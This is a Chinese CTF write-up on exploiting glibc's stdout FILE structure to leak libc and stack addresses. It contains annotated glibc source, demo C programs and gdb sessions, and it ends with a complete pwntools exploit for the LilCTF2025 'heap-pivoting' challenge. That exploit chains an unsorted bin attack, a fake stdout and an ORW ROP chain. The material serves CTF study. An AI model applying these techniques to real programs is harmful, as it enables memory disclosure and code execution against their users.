0x00

复现LilCTF2025,遇到了一点对_IO_2_1_stdout_的利用,于是记录一下关于stdout的利用

0x01 关于stdout

stdout也就是_IO_2_1_stdout_
在 glibc 里,标准 I/O 流 (stdin / stdout / stderr) 都是定义在 libc 的全局变量

1
2
3
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

这几个其实都是_IO_FILE_plus结构体,其_fileno域分别为1,0,2
在程序调用puts函数或者printf函数(标准IO函数)时候,使用的都是_IO_2_1_stdout_这个结构体
那么write函数呢?其实write函数只是对系统调用的封装,当你调用 write(1, "hi", 2),glibc 内部会直接发起 syscall(SYS_write, 1, buf, 2),这里并没有对_IO_2_1_stdout_的使用
这时候可能又有疑问了,SYS_write不也用到了fd=1这个对应stdout的描述符吗?其实:fd=1是内核的概念。_IO_2_1_stdout_ 是用户态 libc 提供的缓冲封装,它里面保存着 fd=1
每个进程都有一个文件描述符表。其中默认固定fd=0stdinfd=1stdoutfd=2stderr
通过之前对于_IO_FILE学习,我们知道在刷新缓冲区时候,系统会调用write输出fp->_IO_write_ptrfp->_IO_write_base之间的内容,如果我们能修改stdout->_IO_write_ptrstdout->_IO_write_base以及stdout->_IO_write_end,是不是就能在程序遇到puts函数或者printf函数,或者fflush(stdout)的时候输出我们想要的内容呢?

0x02 _IO_new_file_xsputn / _IO_new_file_overflow

glibc2.39找到_IO_new_file_xsputn定义,见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;

if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) // 判断为行缓冲模式
{
count = f->_IO_buf_end - f->_IO_write_ptr; // 计算输出字节数
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n') // 如果写入数据中含有 \n,那么只写到这一行结尾,并标记 must_flush = 1,后面会触发立即刷新。
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr) // 非行缓冲模式
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) // 缓冲区写满或者行缓冲遇到\n设置了must_flush为1
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) // 调用_IO_OVERFLOW刷新缓冲区,真正把缓冲区写入文件(write syscall)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;

/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base; // 如果待写入数据超过缓冲区,则直接整块写入
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}

/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do); // 如果还有残余部分(通常小于缓冲区大小),交给 _IO_default_xsputn 来处理
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

_IO_new_file_overflow函数定义,见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{ // 检查写入权限标志
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{ // 检查写模式标志和写缓冲区
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f); //写缓冲区为分配,分配一个
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); // 设置好buf指针
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */ //如果此前是读模式,则调整到写模式
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF) // 传入参数为EOF,直接调用_IO_do_write将_IO_write_ptr和_IO_write_base之间的数据真正写入文件
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ //缓冲区满,调用_IO_do_flush同样刷新缓冲区
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch; // 将传入ch写入缓冲区
if ((f->_flags & _IO_UNBUFFERED) // 如果是行缓冲遇到 '\n' 或者无缓冲模式,调用_IO_do_write
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

0x03 stdout的利用

单纯的设置write三元组肯定是不行的,总结一下还需要:
设置_flags & _IO_NO_WRITES = 0,设置_flags & _IO_CURRENTLY_PUTTING = 1,设置_flags & _IO_IS_APPENDING = 1

1
2
3
4
5
6
7
#define _IO_MAGIC 0xFBAD0000           /* Magic number 文件结构体的魔数,用于标识文件结构体的有效性 */
#define _IO_CURRENTLY_PUTTING 0x800 /* Currently putting 当前正在执行 put 操作 */
#define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
#define _IO_NO_WRITES 8 /* Writing not allowed 不允许写入操作 */

#define _IO_UNBUFFERED 2 /* Unbuffered 无缓冲模式,直接进行I/O操作,不使用缓冲区 */
#define _IO_LINE_BUF 0x200 /* Line buffered 行缓冲模式,在输出新行时刷新缓冲区 */

于是我们一般直接设置_flags0xfbad1800即可满足,然后设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址,_IO_write_end要么不修改,要么修改成等于_IO_write_ptr,具体见0x03部分
有哪些利用呢?

leak libc_base

既然我们想要leak libc_base,那么我们肯定是不知道_IO_2_1_stdout_的地址的,这怎么利用呢?
在堆利用中,想要泄露libc很多时候绕不开main_arena,在libc中main_arenastdout的地址是十分接近的

1
2
3
4
pwndbg> p stdout
$1 = (FILE *) 0x7ffff7e1b780 <_IO_2_1_stdout_>
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7e1ac80 <main_arena>

可以看到这里只有低两字节不一样,但在ASLR保护机制(仍然页对齐)影响下,这里低两字节中的最高位数会随机化,只有低三位(16进制下)仍然已知固定,我们可以修改指向main_arena的指针的低两字节,对于随机的那一位(16进制下)我们进行爆破即可(16种可能)
既然在打stdout泄露libc,说明我们收到限制,不能简单的直接查unnsortedbin中的chunk(不然直接unsortedbin leak即可),我们就需要将unsortedbin中chunk的fd指针也放到tcache或者fastbin中(通过具体的漏洞利用使得同一个chunk既在unsortedbin上,也在tcache或者fastbin上),这样我们在tcache或者fastbin中就存在一个chunk的fd指向main_arena,我们修改其低两字节,爆破随机的那1bit,就能申请到stdout
如果是利用fastbin的话,我们一般利用stdout-0x43这个地址,我们看

1
2
3
4
pwndbg> x/6gx 0x7ffff7e1b780 - 0x43
0x7ffff7e1b73d <_IO_2_1_stderr_+157>: 0xfff7e1a8a0000000 0x000000000000007f
0x7ffff7e1b74d <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b75d <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000

正好错位形成一个size域为0x7f的chunk,当然错位fastbin的手法一般在低版本,高版本更多直接打tcache
摘取一个简单的爆破模版

1
2
3
4
5
6
7
8
while True:
try:
io = process(file)
exp()
break
except:
io.close()
continue

在申请到stdout后我们覆盖其_IO_write_base的最低字节为\x00,这样在输出时候就能leak出一个libc地址

leak stack addr

直接打stdout输出environ值即可泄露栈地址,具体leak手法见malloc位于栈上的chunk | r3t2’s blog

其他

除了leak上面两个地址,我们利用stdout可以实现任意地址读,只需要具体情况具体利用即可

0x04 动手看看

我们根据不同缓冲模式来调试demo

无缓冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
setvbuf(stdout, 0, 2, 0); //无缓冲

printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>> ");
read(0, victim, 0x10);
printf("---- leak >>> ");

*(int*)stdout_addr = 0xfbad1802; //无缓冲 0xfbad1800|0x2

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x10; // _IO_write_end = ptr

puts("new_data");

return 0;
}

我们输入”leakleakleakleak“,运行直到puts前,可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *stdout
$1 = {
_flags = -72542208,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x5555555592a0 "leakleakleakleak",
_IO_write_ptr = 0x5555555592b0 "",
_IO_write_end = 0x5555555592b0 "",
_IO_buf_base = 0x7ffff7e1b803 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7e1b804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1aaa0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ca70 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e1a9a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}

stdout被我们设置好,然后我们步入puts查看流程

1
2
3
4
5
6
7
0x7ffff7c80e50 <puts>       endbr64
0x7ffff7c8b600 <_IO_file_xsputn> endbr64
0x7ffff7c8cdc0 <_IO_file_overflow> endbr64
0x7ffff7c8c930 <_IO_do_write> endbr64
0x7ffff7c8aec0 <_IO_file_write> endbr64
0x7ffff7d14870 <write> endbr64
0x7ffff7d14885 <write+21> syscall <SYS_write>

因为设置了_IO_write_end = _IO_write_ptr,也就是会先触发一次 overflow 刷新

1
2
3
4
5
6
7
8
puts
→ _IO_file_xsputn
→ _IO_file_overflow
→ _IO_do_write
→ _IO_file_write
→ write
→ syscall(SYS_write)

这里具体流程在此前已经分析过,这一流程后续就不重复放了,最后我们看运行结果

1
2
3
4
5
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>> leakleakleakleak
---- leak >>> leakleakleakleaknew_data

行缓冲

然后我们看行缓冲下,将_flags设置为0xfbad1a000xfbad1800|0x200),并设置_IO_write_end > _IO_write_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
setvbuf(stdout, 0, 1, 0); //行缓冲

printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>>\n");
read(0, victim, 0x10);
printf("---- leak >>>\n");

*(int*)stdout_addr = 0xfbad1a00; // 0xfbad1800|0x200

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100; // _IO_write_end > ptr

puts("new_data");

return 0;
}

这里程序无输出,直到exit后才触发刷新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
...
pwndbg> c
Continuing.
a
new_data
[Inferior 1 (process 55881) exited normally

这是为什么?这时候我们如果将_IO_write_end设置与_IO_write_ptr相等,则

1
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x10;    // _IO_write_end == _IO_write_ptr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a
new_data

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

可以看到puts("new_data")成功刷新了输出
而如果我们不设置_IO_write_end

1
//((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100;    // _IO_write_end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
c
---- leak >>>
c
new_data

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

可以看到输出也没问题
这里推测是我们如果修改_IO_write_end,会导致stdout的缓冲区异常,要么就不设置。如果设置的话则应使_IO_write_end==_IO_write_ptr,会先一步触发overflow,然后程序会重新分配write三元组指针,后续输出操作也就不会出问题

全缓冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>>\n");
read(0, victim, 0x10);
printf("---- leak >>>\n");

setvbuf(stdout, 0, 0, 0); //全缓冲
*(int*)stdout_addr = 0xfbad1800;

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100; // _IO_write_end > ptr

fflush(stdout);
puts("new_data");

return 0;
}

运行发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
...
pwndbg> c
Continuing.
new_data
[Inferior 1 (process 76592) exited normally]

fflush(stdout)后可以成功输出leak的数据,而全缓冲模式,缓冲区未填满后续的new_data则需要exit刷新

1
2
3
4
5
exit()
└─ _IO_cleanup()
└─ _IO_flush_all_lockp(NULL)
├─ 遍历全局 FILE* 链表 _IO_list_all
└─ 对每个 FILE 调用 _IO_file_overflow/_IO_do_write 进行 flush

如果我们填满缓冲区(笔者本地默认0x400)

1
2
3
4
for(int i = 0; i < 0x81; i++)
{
printf("new_data");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a
new_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_data
Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

而如果仅仅设置输出0x100的数据(_IO_write_end=victim+0x100),是仍然没有输出的,显然缓冲区大小不是通过write三元组来判定的

0x05 LilCTF2025 heap-pivoting

开了沙箱,打orw,问题是没有show函数,而且全程没有调用io的函数,但是没有开pie,又是静态编译,相当于给了libc地址,我们能做的只有一个unsorted bin attack,这个时候问题就来了,往哪里写,大家如果了解过unsorted bin attack的话,就会知道我们写的其实是top chunk的地址(main_arena中的一定偏移处),就可以根据这个,修改top chunk的位置,迁移到chunk_list上面,达到任意地址写,然后调用fflush,打stdout,泄露栈地址(rsp),最后劫持rsprop就行(此题程序执行到这里自己会ret,也就是pop rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.23-0ubuntu3/amd64/libc6_2.23-0ubuntu3_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "gz.imxbt.cn"
port = 20119
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set glibc 2.23
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# Your exploit here
menu = b'Your choice:\n'
def alloc(idx, data):
io.recvuntil(menu)
io.send(b'1')
io.recvuntil(b'idx:')
io.send(str(idx))
io.recvuntil(b'say\n')
io.send(data)

def free(idx):
io.recvuntil(menu)
io.send(b'2')
io.recvuntil(b'idx:')
io.send(str(idx))

def edit(idx, data):
io.recvuntil(menu)
io.send(b'3')
io.recvuntil(b'idx:')
io.send(str(idx))
io.recvuntil(b'context: ')
io.send(data)

def myexit():
io.recvuntil(menu)
io.send(b'4')

chunk_list = 0x6ccd60
#global_max_fast = 0x6cc638

#leave_ret = 0x400aa5
#syscall = 0x4003da
#pop_rax_ret = 0x41fc84
pop_rdi_ret = 0x401a16
pop_rdx_rsi_ret = 0x443159
ret = 0x4002e1

alloc(0, b'a')
alloc(1, b'a')
free(0)
edit(0, p64(0x6ca858) + p64(chunk_list - 0x10))
alloc(1, b'a')
edit(0, p64(chunk_list) + p64(0) + p64(0x6ca858)*2) #这里就是修改main_arena, 0x6ca858是unsortedbin头地址
alloc(4, b'a') #这里chunk4就是chunk_list

def hack(addr, data): #任意地址写
edit(4, p64(addr))
edit(2, data) #堆头0x10,所以写入地址位于chunk_list[2]

fflush = 0x416770
environ = 0x6cc640
stdout = 0x6ca300
free_hook = 0x6cc5e8

fake_io = p64(0xfbad1800)
fake_io += p64(0) # _IO_read_ptr
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(environ) # _IO_write_base
fake_io += p64(environ + 0x10) # _IO_write_ptr

hack(stdout, fake_io)
hack(free_hook, p64(fflush))

free(3) # fflush(0) 效果是刷新所有输出方向的io流

leak_addr = u64(io.recv(8))
log.info("leak addr in stack --> "+hex(leak_addr))
rsp = leak_addr - 0x180
log.info("rsp --> "+hex(rsp))

rop_chain = p64(pop_rdi_ret) + p64(rsp - 0x8) + \
p64(pop_rdx_rsi_ret) + p64(0) + p64(0) + \
p64(0x43fc40) + \
p64(pop_rdi_ret) + p64(3) + \
p64(pop_rdx_rsi_ret) + p64(0x100) + p64(rsp + 0x100) + \
p64(0x43fca0) + \
p64(pop_rdi_ret) + p64(1) + \
p64(pop_rdx_rsi_ret) + p64(0x100) + p64(rsp + 0x100) + \
p64(0x43fd00)

hack(rsp-0x8, b'flag\x00\x00\x00\x00' + rop_chain)

io.interactive()